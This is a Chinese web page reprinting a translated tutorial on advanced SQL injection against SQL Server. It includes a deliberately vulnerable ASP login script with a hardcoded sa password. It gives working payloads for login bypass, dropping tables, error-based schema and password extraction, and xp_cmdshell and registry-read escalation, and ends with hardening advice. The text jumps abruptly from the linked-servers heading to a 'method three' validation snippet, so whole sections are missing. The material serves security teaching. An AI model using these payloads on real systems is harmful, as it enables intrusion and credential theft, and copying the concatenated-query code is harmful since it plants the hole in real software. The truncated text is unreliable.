网站导航:首页 -> 软件水平考试 -> 系统工程师考试认证 -> SQLServer应用程序中的高级SQL注入

SQLServer应用程序中的高级SQL注入

  介绍:

  sql是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准sql-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。sql语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论sqlserver所使用的transact-sql语言。

  当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成sql注入。

  一个典型的sql语句如下:

  select id,forename,surname from authors

  这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:

  select id,forename,surname from authors where forename'john' and surname='smith'

  需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些sql语句,

  如下:

  forename:jo'hn

  surname:smith

  查询语句变为:

  select id,forename,surname from authors where forename='jo'hn' and surname='smith'

  当数据库试图去执行这个查询时,它将返回如下错误:

  server:msg 170, level 15, state 1, line 1

  line 1:incorrect syntax near 'hn'

  造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:

  forename:jo';drop table authors—

  surname:

  结果是authors表被删除,造成这种结果的原因我们稍后再讲。

  看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:

  select id,forename,surname from authors where id=1234

  在这种情况下,一个攻击者可以非常简单地在数字的结尾添加sql语句,在其他版本的sql语言中,使用各种各样的限定符号;在数据库管理系统jet引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。

  我们更进一步地使用一个简单的asp登陆页面来指出哪些能进入sqlserver数据库并且尝试鉴别进入一些虚构的应用程序的权限。

  这是一个提交表单页的代码,让用户输入用户名和密码:

<html>
<head>
<title>login page</title>
</head>
<body bgcolor='000000' text='cccccc'>
<font face='tahoma' color='cccccc'>
<center><h1>login</h1>

<form action='process_loginasp' method=post>
<table>
<tr><td>username:</td><td><input type=text name=username size=100 width=100></td></tr>
<tr><td>password:</td><td><input type=password name=password size=100 withd=100></td></tr>
</table>
<input type=submit value='submit'><input type=reset value='reset'>
</form>
</font>
</body>
</html>
下面是process_login.asp的代码,它是用来控制登陆的:
<html>
<body bgcolor='000000' text='ffffff'>
<font face='tahoma' color='ffffff'>
<style>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</style>
<%@language = jscript %>
<%
function trace( str ) {
if( request.form('debug') == 'true' )
response.write( str );
}
function login( cn ) {
var username;
var password;
username = request.form('username');
password = request.form('password');
var rso = server.createobject('adodb.recordset');
var sql = 'select * from users where username = '' + username + '' and password = '' + password + '''; trace( 'query: ' + sql );
rso.open( sql, cn );
if (rso.eof) {
rso.close();
%>
<font face='tahoma' color='cc0000'>
<h1> <br><br>
<center>access denied</center>
</h1>
</body>
</html>
<% response.end return; }
else {
session('username') = '' + rso('username');
%>
<font face='tahoma' color='00cc00'>
<h1> <center>access granted<br> <br>
welcome, <% response.write(rso('username')); response.write( '</body></html>' ); response.end }
}
function main() { //set up connection
var username
var cn = server.createobject( 'adodb.connection' );
cn.connectiontimeout = 20;
cn.open( 'localserver', 'sa', 'password' );
username = new string( request.form('username') );
if( username.length > 0) {
login( cn );
}
cn.close();
}
main();
%>

  出现问题的地方是process_lgin.asp中产生查询语句的部分:

  var sql='select * from users where username=''+username+'' and password=''+password+''';

  如果用户输入的信息如下:

  username:';drop table users—

  password:

  数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在transact-sql中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

  攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:

  username:admin'—

  攻击者可以使用users表中第一个用户,输入如下:

  username:' or 1=1—

  更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:

  username:' union select 1,'fictional_user','some_password',1—

  这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

  通过错误消息获得信息

  这个几乎是david litchfield首先发现的,并且通过作者渗透测试的;后来david写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

  为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:

  create talbe users(

  id int,

  username varchar(255),

  password varchar(255),

  privs int

  )

  然后将下面的用户插入到users表中:

  insert into users values(0,'admin','r00tr0x!',0xffff)

  insert into users values(0,'guest','guest',0x0000)

  insert into users values(0,'chris','password',0x00ff)

  insert into users values(0,'fred','sesame',0x00ff)

  如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。

  幸运地,如果从应用程序(默认为asp行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接sqlserver的权限度曲任何值。

  (下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)

  首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:

  username:' having 1=1—

  这样将会出现如下错误:

  microsoft ole db provider for odbc drivers error '80040e14'

  [microsoft][odbc sql server driver][sql server]column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no group by clause.

  /process_login.asp, line 35

  因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:

  username:' group by users.id having 1=1—

  出现的错误如下:

  microsoft ole db provider for odbc drivers error '80040e14'

  [microsoft][odbc sql server driver][sql server]column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the group by clause.

  /process_login.asp, line 35

  最终攻击者得到了username字段后:

  ‘ group by users.id,users.username,users.password,users.privs having 1=1—

  这句话并不产生错误,相当于:

  select * from users where username=''

  因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。

  能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:

  username:' union select sum(username) from users—

  这利用了sqlserver在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:

  microsoft ole db provider for odbc drivers error '80040e07'

  [microsoft][odbc sql server driver][sql server]the sum or average aggregate operation cannot take a varchar data type as an argument.

  /process_login.asp, line 35

  这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。

  username:' union select sum(id) from users—

  microsoft ole db provider for odbc drivers error '80040e14'

  [microsoft][odbc sql server driver][sql server]all queries in an sql statement containing a union operator must have an equal number of expressions in their target lists.

  /process_login.asp, line 35

  我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。

  这样攻击者就可以写一个好的insert查询,例如:

  username:';insert into users values(666,'attacker','foobar','0xffff)—

  这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:

  select * from master ..sysmessages

  解释这些将实现有趣的消息。

  一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出sqlserver的版本和所运行的操作系统信息:

  username:' union select @@version,1,1,1—

  microsoft ole db provider for odbc drivers error '80040e07'

  [microsoft][odbc sql server driver][sql server]syntax error converting the nvarchar value 'microsoft sql server 2000 - 8.00.194 (intel x86) aug 6 2000 00:57:48 copyright (c) 1988-2000 microsoft corporation enterprise edition on windows nt 5.0 (build 2195: service pack 2) ' to a column of data type int.

  /process_login.asp, line 35

  这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字。

  这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:

  username:' union select min(username),1,1,1 from users where username>'a'—

  这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

  microsoft ole db provider for odbc drivers error '80040e07'

  [microsoft][odbc sql server driver][sql server]syntax error converting the varchar value 'admin' to a column of data type int.

  /process_login.asp, line 35

  因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

  username:' union select min(username),1,1,1 from users where username>'admin'—

  microsoft ole db provider for odbc drivers error '80040e07'

  [microsoft][odbc sql server driver][sql server]syntax error converting the varchar value 'chris' to a column of data type int.

  /process_login.asp, line 35

  一旦攻击者确定了用户名,他就可以开始收集密码:

  username:' union select password,1,1,1 from users where username='admin'—

  microsoft ole db provider for odbc drivers error '80040e07'

  [microsoft][odbc sql server driver][sql server]syntax error converting the varchar valu type int.

  /process_login.asp, line 35

  一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:transavt-sql语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:

  begin declare @ret varchar(8000)

  set @ret=':'

  select @ret=@ret+' '+username+'/'+password from users where

  username>@ret

  select @ret as ret into foo

  end

  攻击者使用这个当作用户名登陆(都在一行)

  username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—

  这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。

  然后攻击者就可以取得我们要得到的字符串:

  username:' union select ret,1,1,1 from foo—

  microsoft ole db provider for odbc drivers error '80040e07'

  [microsoft][odbc sql server driver][sql server]syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.

  /process_login.asp, line 35

  然后丢弃(删除)表来清楚脚印:

  username:'; drop table foo—

  这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。

  获得更高的权限

  一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:

  1. 在数据库服务器上,以sqlserver权限利用xp_cmdshell扩展存储过程执行命令。

  2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括sam键(前提是sqlserver是以系统权限运行的)

  3. 利用其他存储过程去改变服务器

  4. 在连接的服务器上执行查询

  5. 创建客户扩展存储过程去在sqlserver进程中执行溢出代码

  6. 使用'bulk insert'语法去读服务器上的任意文件

  7. 使用bcp在服务器上建立任意的文本格式的文件

  8. 使用sp_oacreate,sp_oamethod和sp_oagetproperty系统存储过程去创建activex应用程序,使它能做任何asp脚本可以做的事情

  这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于sql服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入sql.。我们将依次处理以上提到的各种方法:

  [xp_cmdshell]

  许多存储过程被创建在sqlserver中,执行各种各样的功能,例如发送电子邮件和与注册表交互。

  xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:

  exec master..xp_cmdshell 'dir'

  将获得sqlserver进程的当前工作目录中的目录列表。

  exec master..xp_cmdshell 'net user'

  将提供服务器上所有用户的列表。当sqlserver正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

  [xp_regread]

  另一个有用的内置存储过程是xp_regxxxx类的函数集合。

  xp_regaddmultistring

  xp_regdeletekey

  xp_regdeletevalue

  xp_regenumkeys

  xp_regenumvalues

  xp_regread

  xp_regremovemultistring

  xp_regwrite

  这些函数的使用方法举例如下:

  exec xp_regread hkey_local_machine,'system\currentcontrolset\services\lanmanserver\parameters', 'nullsessionshares'

  这将确定什么样的会话连接在服务器上是可以使用的

  exec xp_regenumvalues hkey_local_machine,'system\currentcontrolset\services\snmp\parameters\validcommunities'

  这将显示服务器上所有snmp团体配置。在snmp团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。

  这很容易想象到一个攻击者可以利用这些函数读取sam,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。

  [其他存储过程]

  xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:

  exec master..xp_servicecontrol 'start','schedule'

  exec master..xp_servicecontrol 'start','server'

  下表中列出了少量的其他有用的存储过程:

  xp_availablemedia 显示机器上有用的驱动器

  xp_dirtree 允许获得一个目录树

  xp_enumdsn 列举服务器上的odbc数据源

  xp_loginconfig reveals information about the security mode of the server

  xp_makecab 允许用户在服务器上创建一个压缩文件

  xp_ntsec_enumdomains 列举服务器可以进入的域

  xp_terminate_process 提供进程的进程id,终止此进程

  [linked servers]

  方法三:只允许正确的输入

  function validatepassword(input)

  good_password_chars=” abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789”

  validatepassword=true

  for i=1 to len(input)

  c=mid(input,i,1)

  if(instr(good_password_chars,c)=0) then

  validatepassword=false

  exit function

  end if

  next

  end function

  [sql server锁定]

  在这指出的重要一点是锁定sql server是必要的;外面的是不安全的。这是一个但创建sql server时需要做的事情的简短的列表:

  1.确定连接服务器的方法

  a.确定你所使用的网络库是可用的,那么使用'network utility'

  2.确定哪些帐户是存在的

  a.为应用程序的使用创建一个低权限的帐户

  b.删除不必要的帐户

  c.确定所有帐户有强壮的密码;执行密码审计

  3.确定哪些对象存在

  a.许多扩展存储过程能被安全地移除。如果这样做了,应该移除包含在扩展存储过程代码中的'.dll'文件

  b.移除所有示例数据库——例如'northwind'和'pubs'数据库

  4.确定哪写帐户能过使用哪些对象

  a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限

  5.确定服务器的补丁

  a.针对sql server有一些缓冲区溢出和格式化字符串攻击,也有一些其他的安全补丁发布。应该存在很多。

  6.确定什么应该被日志记录,什么应该在日志中结束。